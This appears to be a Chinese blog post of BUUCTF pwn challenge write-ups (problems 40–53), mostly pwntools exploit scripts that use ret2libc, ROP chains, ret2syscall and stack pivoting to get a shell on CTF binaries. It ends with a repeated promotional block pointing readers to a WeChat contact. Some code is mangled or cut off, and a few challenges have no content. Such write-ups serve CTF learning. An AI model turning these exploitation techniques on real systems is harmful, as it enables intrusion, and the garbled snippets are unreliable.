pwn入门-buu第二页题解(32道)(持续更新中),网络安全面试基础知识

from pwn import *
#p=process(“./buu40”)
p=remote(“node5.buuoj.cn”,26676)
libc=ELF(“libc-2.23.so_16_32”)
e=ELF(“./buu40”)
write_glt=e.symbols[“write”]
write_got=e.got[“write”]
back=0x804844B

payload1=b’a’(0x88+0x4)+p32(write_glt)+p32(back)+p32(1)+p32(write_got)+p32(4)
p.send(payload1)
write_addr=u32(p.recv(4))#这里我是把收到的数据进行u32解包得到的数据,你们的可能会不一样
libc_write=libc.symbols[‘write’]
libc_system=libc.symbols[‘system’]
libc_sh=next(libc.search(b’/bin/sh’))
re_sys=write_addr-libc_write+libc_system
re_sh=write_addr-libc_write+libc_sh
payload=b’a’
(0x88+0x4)+p32(re_sys)+b’aaaa’+p32(re_sh)
p.send(payload)
p.interactive()

buu四十一题(picoctf_2018_buffer overflow 1)

左边有个win函数点进去看看,

由代码易知,这个函数的功能是先搜索flag.txt文件,如果找到了则打印出来,如果没找到则退出程序,再看一下vuln函数里面有什么

有get函数又没有什么保护,那么给我狠狠的溢出啊

exp:

点击查看代码

from pwn import *
p=process(“./buu41”)
#p=remote(“node5.buuoj.cn”,29072)
elf=ELF(“./buu41”)

flag_addr=0x080485CB
payload=b’a’*(0x28+0x4)+p64(flag_addr)
p.send(payload)
p.interactive()

buu四十二题(inndy_rop)

静态编译的题目,而且又有gets函数,ret2syscall。这里可以使用ROPgadget --binary 二进制文件 --ropchain 来自动生成ret2syscall的exp,不过师傅们要注意缩进

点击查看代码

from pwn import *
from struct import pack
context.log_level = ‘debug’
#context(os = ‘linux’, arch = ‘amd64’)
p = process(‘./buu42’)
#p = remote(‘node5.buuoj.cn’, 26148)
elf = ELF(‘buu42’)

def get_payload():
p = b’a’*(0xc+0x4)

p += pack(‘<I’, 0x0806ecda) # pop edx ; ret
p += pack(‘<I’, 0x080ea060) # @ .data
p += pack(‘<I’, 0x080b8016) # pop eax ; ret
p += b’/bin’
p += pack(‘<I’, 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack(‘<I’, 0x0806ecda) # pop edx ; ret
p += pack(‘<I’, 0x080ea064) # @ .data + 4
p += pack(‘<I’, 0x080b8016) # pop eax ; ret
p += b’//sh’
p += pack(‘<I’, 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack(‘<I’, 0x0806ecda) # pop edx ; ret
p += pack(‘<I’, 0x080ea068) # @ .data + 8
p += pack(‘<I’, 0x080492d3) # xor eax, eax ; ret
p += pack(‘<I’, 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack(‘<I’, 0x080481c9) # pop ebx ; ret
p += pack(‘<I’, 0x080ea060) # @ .data
p += pack(‘<I’, 0x080de769) # pop ecx ; ret
p += pack(‘<I’, 0x080ea068) # @ .data + 8
p += pack(‘<I’, 0x0806ecda) # pop edx ; ret
p += pack(‘<I’, 0x080ea068) # @ .data + 8
p += pack(‘<I’, 0x080b8016) # pop eax ; ret
p += p32(0xb) # pop eax ; ret
p += pack(‘<I’, 0x0806c943) # int 0x80
return p

p.sendline(get_payload())
p.interactive()

buu四十三题(jarvisoj_test_your_memory)

main函数里没啥漏洞,点进去mem_test看看,发现__isoc99_scanf(“%s”, s);函数,这个函数有一个特性就是当它使用 %s 格式说明符来读取输入到字符数组 s 中,直到遇到空白字符(空格、制表符、换行符等)才会停止读取。这意味着函数会读取一个以空白字符结束的字符串。那么栈溢出不就来了吗

再看左边win_func保存了一个system的函数,但是没有传入参数,既然如此那么我们就可以调用它,然后给他传入参数。

刚好程序里有cat flag字符串,那么直接拿来用。但是要注意,p32(system)后面要接p32(main函数的地址),不然打印flag没回显。不过你也可以自己调用read函数写入/bin/sh到一个地址,然后传参

exp:

点击查看代码

from pwn import *
context.log_level = ‘debug’
#context(os = ‘linux’, arch = ‘i386’)
p = process(‘./buu43’)
#p = remote(“node5.buuoj.cn”,29330)
elf = ELF(‘buu43_’)

system_addr = elf.symbols[‘system’]
flag_addr = 0x080487E0
system = 0x080485BD
flag = 0x080487E0

payload = b’a’*23 + p32(system) + p32(0x08048678) + p32(flag)
#payload = b’a’*23 + p32(system) + p32(0) + p32(flag)
p.sendline(payload)
p.interactive()

buu四十四题([ZJCTF 2019]EasyHeap)

buu四十五题([Black Watch 入群题]PWN)

点进vuln函数一看就知道是栈溢出+栈迁移漏洞,将0x200多个字节读入s也就是bss段中,然后再读取buf。但是buf溢出的部分十分有限,只能刚好覆盖的rbp和retaddr,所以考虑栈溢出。
这里有没有后门函数,也没可读可写可执行段,所以我们应该选择ret2libc,在s中写入一段gadget然后跳转到s所在的bss段执行该代码。不过各位是不是有疑惑,你刚刚不是才说了没有可读可写可执行段吗?这么现在又要执行bss里面的内容,bss又不是可执行段。没错bss确实不是可执行段但是,里面存放的gadget是可执行的,还记得rop链攻击的原理吗?通过控制返回地址来执行程序执行流的变化,也即是说我们并不是在执行我们写入在bss段的代码,因为真正的代码不是写作bss段的,应该位于text段。我们只是劫持了程序控制流,然后让程序把我们写在bss数据作为指针,然后去解析它,去执行它所指向的代码。而该代码又是存在于text段的自然可执行了。不过竟然有师傅能问出这种问题,还是说明了师傅是个合格的pwn人。OK那我们接着讲,我们可以在s的地址里写入ret2libc的代码,然后执行它,泄露libc的基地址后再跳转回来,再用one_gadget来getshell,之前已经写过一道栈迁移的题目了,所以在这里就不多加赘述了
exp:

点击查看代码

from pwn import *
#context.log_level=“debug”
elf=ELF(“buu45”)
#p=process(“./buu45”)
p=remote(“node5.buuoj.cn”,25530)
libc=ELF(‘libc-2.23.so_16_32’)
#gdb.attach§
#libc = ELF(‘/lib/x86_64-linux-gnu/libc.so.6’)
write_plt=elf.symbols[“write”]
write_got=elf.got[“write”]
read_plt=elf.sym[“read”]
buf=0x0804A300
vul_addr=0x080484FB
rdi=0x00000000004006b3
rsi_r15=0x00000000004006b1
leave=0x08048511
main=elf.sym[“main”]
payload1=b’a’*0x4+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)

p.recvline()
p.send(payload1)
p.recvuntil(b"What do you want to say?“)
payload2=b’a’*0x18+p32(buf)+p32(leave)
#pause()
p.send(payload2)
write_addr=u32(p.recv(4))
offset=write_addr-libc.sym[‘write’]
#sys_addr=offset+libc.sym[‘system’]
one_gadget=offset+0x3a80e
#bin_addr=offset+next(libc.search(b”/bin/sh"))
p.send(b’a’*0x4+p32(one_gadget))
p.recv()
payload3=b’a’*0x18+p32(buf)+p32(leave)
p.send(payload3)
p.interactive()

buu四十六题(hitcontraining_uaf)

buu四十七题(picoctf_2018_buffer overflow 2)

有get函数,又有打印flag的函数(只是要满足一点点条件而已)。buu第一页也有类似的题。直接丢exp

点击查看代码

from pwn import *
#elf=ELF(“./buu47”)
p=remote(“node5.buuoj.cn”,28164)
#p=process(“./buu47”)
#gdb.attach§

ret=0x08048196

payload2=b’a’*(0x6C+0x4)+p32(0x080485CB)+p32(0)+p32(0xDEADBEEF) + p32(0xDEADC0DE)
p.sendline(payload2)

p.interactive()
print(p.recv())

buu四十八题(cmcc_simplerop)

又是一道静态编译的题目,相信那么现在应该能秒杀了,所以我就不详讲了,直接用ret2syscall。当然你要想尝试ropchain去写的话可能会发生一些不愉快的事情

点击查看代码

from pwn import *
p=process(“./buu48”)
edx_ecx_ebx=0x0806e850
eax=0x080bae06

int_80=0x080493e1
#gdb.attach§
p=remote(“node5.buuoj.cn”,29562)
elf=ELF(“./buu48”)

buf=0x80EAF90

payload = b’a’*0x20 + p32(elf.sym[‘read’]) + p32(edx_ecx_ebx) + p32(0) + p32(buf) + p32(0x100)
payload += p32(eax) + p32(0xb) + p32(edx_ecx_ebx) + p32(0)*2 + p32(buf) + p32(int_80)

p.sendline(payload)
p.sendline(b’/bin/sh\x00’)

p.recv()
p.interactive()

buu四十九题(wustctf2020_getshell_2)

刚好只能覆盖到retaddr,不过幸好有system函数和和sh\x00字符串,但是由于字数限制,我们只能覆盖0x8个字节。这样的话我们也用不了p32(system)+b’aaaa’+p32(sh_addr)。
这时候我们就需要用到call system指令了,那之前我们getshell时不也有call system指令吗为什么还要加b"aaaa",之前我们是跳转到elf.sym[“system”]。也就是说他会对寄存器进行一些操作之后再call system。我猜里面的push ebp的操作才是导致要在system和sh_addr之间要加四个字节的原因(当然也只是我的猜测,如有不对,欢迎师傅们指出来)。所以这里直接call system的话就可以直接加system的参数了

exp:

点击查看代码

from pwn import *
elf=ELF(“./buu49”)
#p=process(“./buu49”)
p=remote(“node5.buuoj.cn”,27335)
#gdb.attach§
#pause()
0x08048529
ret=0x08048196
sh_addr = next(elf.search(b’sh\x00’))
payload2=b’a’*(0x18+0x4)+p32(0x08048529)+p32(sh_addr)
p.sendline(payload2)

p.interactive()
print(p.recv())

buu五十题(mrctf2020_easyoverflow)

先跟着我来分析代码逻辑,其实这题也没啥考的,就看你代码能力行不行

首先把字符串"ju3t_@_f@k3_f1@g"放到v5里面。然后再用get函数读取v4,这题有canary,而且现在我们也不晓得该怎么泄露它,所以栈溢出还是有点困难。但是这个主函数里面有system(“/bin/sh”)了,想着怎么去调用。我们接着往下看,get后面会执行一个check函数,点进去看看他是干什么的

可以看到如果v3的长度等于i的话就可以返回1,然后在主函数中就可以getshell了,但是,问题在于v3的参数是不可控的,已经固定了的。别急我们看到这一行代码

if ( *(_BYTE *)(i + a1) != fake_flag[i] )

a1即为主函数里面的v5
a1的参数显然是可控的,这里给了一个指针指向a1的地址存放的内容,如果不等于fake_flag[i]里面的内容的话就会返回0,从而退出程序。反之如果我们传入fake_flag里面的内容作为a1
的内容的话,那么最后执行一次循环之后i++,所以最后一定可以让i最终等于v3然后返回1,从而getshell。那么我们不是控制不了v5的内容吗?因为我们get的函数是读入v4的。这种事情覆盖就行了
不用我再多说了上exp

点击查看代码

from pwn import *
p=process(“./buu50”)
#p=remote(“node5.buuoj.cn”,26562)
elf=ELF(“./buu50”)
payload=b’a’*0x30+b"n0t_r3@11y_f1@g"
p.sendline(payload)
p.interactive()

buu五十一题(bbys_tu_2016)

scanf函数导致的栈溢出我图都懒得放了,注意一下偏移就行。直接贴exp吧

点击查看代码

from pwn import *
from LibcSearcher import *
from struct import pack
context.log_level=‘debug’
context(os = ‘linux’, arch = ‘i386’)

p = process(‘./buu51’)
#p = remote(‘node4.buuoj.cn’, 27816)
elf = ELF(‘./buu51’)
#libc = ELF(‘buu/libc-2.23.so’)

#p.recv()
payload = b’a’*0x18 + p32(elf.sym[‘printFlag’])

p.sendline(payload)

print(p.recv())

buu五十二题(xdctf2015_pwn200)

常规的ret2libc

点击查看代码

from pwn import *
p=process(“./bof”)
#p=remote(“node5.buuoj.cn”,26666)
libc=ELF(“/lib/i386-linux-gnu/libc.so.6”)
#libc=ELF(“libc-2.23.so_16_32”)
e=ELF(“./bof”)
write_glt=e.symbols[“write”]
write_got=e.got[“write”]
back=0x80484D6
p.recvline()
payload1=b’a’*(0x6C+0x4)+p32(write_glt)+p32(back)+p32(1)+p32(write_got)+p32(4)
p.send(payload1)

write_addr=u32(p.recv(0x4))
libc_write=libc.symbols[‘write’]
libc_system=libc.symbols[‘system’]
libc_sh=next(libc.search(b’/bin/sh’))
re_sys=write_addr-libc_write+libc_system
re_sh=write_addr-libc_write+libc_sh
payload=b’a’*(0x6C+0x4)+p32(re_sys)+b’aaaa’+p32(re_sh)
p.send(payload)
p.interactive()

buu五十三题(ciscn_2019_s_4)

和buu二十六题(ciscn_2019_es_2)这道题是一样的,想看的可以去看我第一页的博客,我在那里写的比较详细。这里就直接贴exp了

点击查看代码

from pwn import *
p=process(“./buu26”)
elf=ELF(“buu26”)
#p=remote(“node5.buuoj.cn”,28370)
sys=elf.sym[“system”]
gdb.attach§
leave=0x080485FD
payload=b’a’*36+b"fuck"
p.send(payload)

p.recvuntil(b"fuck")
ebp=u32(p.recv(4))
print(hex(ebp))
p.recv()

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
img

本人从事网路安全工作12年,曾在2个大厂工作过,安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过,对这个行业了解比较全面。

最近遍览了各种网络安全类的文章,内容参差不齐,其中不伐有大佬倾力教学,也有各种不良机构浑水摸鱼,在收到几条私信,发现大家对一套完整的系统的网络安全从学习路线到学习资料,甚至是工具有着不小的需求。

最后,我将这部分内容融会贯通成了一套282G的网络安全资料包,所有类目条理清晰,知识点层层递进,需要的小伙伴可以点击下方小卡片领取哦!下面就开始进入正题,如何从一个萌新一步一步进入网络安全行业。

学习路线图

其中最为瞩目也是最为基础的就是网络安全学习路线图,这里我给大家分享一份打磨了3个月,已经更新到4.0版本的网络安全学习路线图。

相比起繁琐的文字,还是生动的视频教程更加适合零基础的同学们学习,这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。

网络安全工具箱

当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。

项目实战

最后就是项目实战,这里带来的是SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

面试题

归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
img

网络安全工具箱

当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。

项目实战

最后就是项目实战,这里带来的是SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

面试题

归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-6jELqMIa-1712696095192)]

  • 20
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值